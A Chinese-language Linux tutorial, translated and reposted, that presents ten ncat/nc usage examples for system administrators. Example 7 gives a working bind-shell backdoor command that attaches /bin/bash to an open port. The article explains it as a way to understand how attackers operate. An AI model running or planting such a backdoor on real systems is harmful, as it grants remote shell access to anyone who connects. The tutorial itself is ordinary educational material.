Linux中國

10 個例子教你學會 ncat (nc) 命令

ncat 或者說 nc 是一款功能類似 cat 的工具,但是是用於網路的。它是一款擁有多種功能的 CLI 工具,可以用來在網路上讀、寫以及重定向數據。 它被設計成可以被腳本或其他程序調用的可靠的後端工具。同時由於它能創建任意所需的連接,因此也是一個很好的網路調試工具。

ncat/nc 既是一個埠掃描工具,也是一款安全工具,還能是一款監測工具,甚至可以做為一個簡單的 TCP 代理。 由於有這麼多的功能,它被譽為是網路界的瑞士軍刀。 這是每個系統管理員都應該知道並且掌握它。

在大多數 Debian 發行版中,nc 是默認可用的,它會在安裝系統的過程中自動被安裝。 但是在 CentOS 7 / RHEL 7 的最小化安裝中,nc 並不會默認被安裝。 你需要用下列命令手工安裝。

[root@linuxtechi ~]# yum install nmap-ncat -y

系統管理員可以用它來審計系統安全,用它來找出開放的埠然後保護這些埠。 管理員還能用它作為客戶端來審計 Web 伺服器、telnet 伺服器、郵件伺服器等, 通過 nc 我們可以控制發送的每個字元,也可以查看對方的回應。

我們還可以用它捕獲客戶端發送的數據以此來了解這些客戶端是做什麼的。

在本文中,我們會通過 10 個例子來學習如何使用 nc 命令。

例子: 1) 監聽入站連接

通過 -l 選項,ncat 可以進入監聽模式,使我們可以在指定埠監聽入站連接。 完整的命令是這樣的:

$ ncat -l port_number

比如,

$ ncat -l 8080

伺服器就會開始在 8080 埠監聽入站連接。

例子: 2) 連接遠程系統

使用下面命令可以用 nc 來連接遠程系統,

$ ncat IP_address port_number

讓我們來看個例子,

$ ncat 192.168.1.100 80

這會創建一個連接,連接到 IP 為 192.168.1.100 的伺服器上的 80 埠,然後我們就可以向伺服器發送指令了。 比如我們可以輸入下面內容來獲取完整的網頁內容

GET / HTTP/1.1

或者獲取頁面名稱,

GET / HTTP/1.1

或者我們可以通過以下方式獲得操作系統指紋標識,

HEAD / HTTP/1.1

這會告訴我們使用的是什麼軟體來運行這個 web 伺服器的。

例子: 3) 連接 UDP 埠

默認情況下,nc 創建連接時只會連接 TCP 埠。 不過我們可以使用 -u 選項來連接到 UDP 埠,

$ ncat -l -u 1234

現在我們的系統會開始監聽 UDP 的 1234 埠,我們可以使用下面的 netstat 命令來驗證這一點,

$ netstat -tunlp | grep 1234
udp           0          0 0.0.0.0:1234                 0.0.0.0:*               17341/nc
udp6          0          0 :::1234                      :::*                    17341/nc

假設我們想發送或者說測試某個遠程主機 UDP 埠的連通性,我們可以使用下面命令,

$ ncat -v -u {host-ip} {udp-port}

比如:

[root@localhost ~]# ncat -v -u 192.168.105.150 53
Ncat: Version 6.40 ( http://nmap.org/ncat )
Ncat: Connected to 192.168.105.150:53。

例子: 4) 將 nc 作為聊天工具

nc 也可以作為聊天工具來用,我們可以配置伺服器監聽某個埠,然後從遠程主機上連接到伺服器的這個埠,就可以開始發送消息了。 在伺服器這端運行:

$ ncat -l 8080

在遠程客戶端主機上運行:

$ ncat 192.168.1.100 8080

之後開始發送消息,這些消息會在伺服器終端上顯示出來。

例子: 5) 將 nc 作為代理

nc 也可以用來做代理。比如下面這個例子,

$ ncat -l 8080 | ncat 192.168.1.200 80

所有發往我們伺服器 8080 埠的連接都會自動轉發到 192.168.1.200 上的 80 埠。 不過由於我們使用了管道,數據只能被單向傳輸。 要同時能夠接受返回的數據,我們需要創建一個雙向管道。 使用下面命令可以做到這點:

$ mkfifo 2way
$ ncat -l 8080 0<2way | ncat 192.168.1.200 80 1>2way

現在你可以通過 nc 代理來收發數據了。

例子: 6) 使用 nc 拷貝文件

nc 還能用來在系統間拷貝文件,雖然這麼做並不推薦,因為絕大多數系統默認都安裝了 ssh/scp。 不過如果你恰好遇見個沒有 ssh/scp 的系統的話, 你可以用 nc 來作最後的努力。

在要接受數據的機器上啟動 nc 並讓它進入監聽模式:

$ ncat -l  8080 > file.txt

現在去要被拷貝數據的機器上運行下面命令:

$ ncat 192.168.1.100 8080 --send-only < data.txt

這裡,data.txt 是要發送的文件。 -–send-only 選項會在文件拷貝完後立即關閉連接。 如果不加該選項, 我們需要手工按下 ctrl+c 來關閉連接。

我們也可以用這種方法拷貝整個磁碟分區,不過請一定要小心。

例子: 7) 通過 nc 創建後門

nc 命令還可以用來在系統中創建後門,並且這種技術也確實被黑客大量使用。 為了保護我們的系統,我們需要知道它是怎麼做的。 創建後門的命令為:

$ ncat -l 10000 -e /bin/bash

-e 標誌將一個 bash 與埠 10000 相連。現在客戶端只要連接到伺服器上的 10000 埠就能通過 bash 獲取我們系統的完整訪問許可權:

$ ncat 192.168.1.100 10000

例子: 8) 通過 nc 進行埠轉發

我們通過選項 -c 來用 nc 進行埠轉發,實現埠轉發的語法為:

$ ncat -u -l  80 -c  &apos;ncat -u -l 8080&apos;

這樣,所有連接到 80 埠的連接都會轉發到 8080 埠。

例子: 9) 設置連接超時

nc 的監聽模式會一直運行,直到手工終止。 不過我們可以通過選項 -w 設置超時時間:

$ ncat -w 10 192.168.1.100 8080

這回導致連接 10 秒後終止,不過這個選項只能用於客戶端而不是服務端。

例子: 10) 使用 -k 選項強制 nc 待命

當客戶端從服務端斷開連接後,過一段時間服務端也會停止監聽。 但通過選項 -k 我們可以強制伺服器保持連接並繼續監聽埠。 命令如下:

$ ncat -l -k 8080

現在即使來自客戶端的連接斷了也依然會處於待命狀態。

自此我們的教程就完了,如有疑問,請在下方留言。

via: https://www.linuxtechi.com/nc-ncat-command-examples-linux-systems/

作者:Pradeep Kumar 譯者:lujun9972 校對:wxy

本文由 LCTT 原創編譯,Linux中國 榮譽推出


本文轉載來自 Linux 中國: https://github.com/Linux-CN/archive

對這篇文章感覺如何?

太棒了
0
不錯
0
愛死了
0
不太好
0
感覺很糟
0
雨落清風。心向陽

    You may also like

    Leave a reply

    您的郵箱地址不會被公開。 必填項已用 * 標註

    此站點使用Akismet來減少垃圾評論。了解我們如何處理您的評論數據

    More in:Linux中國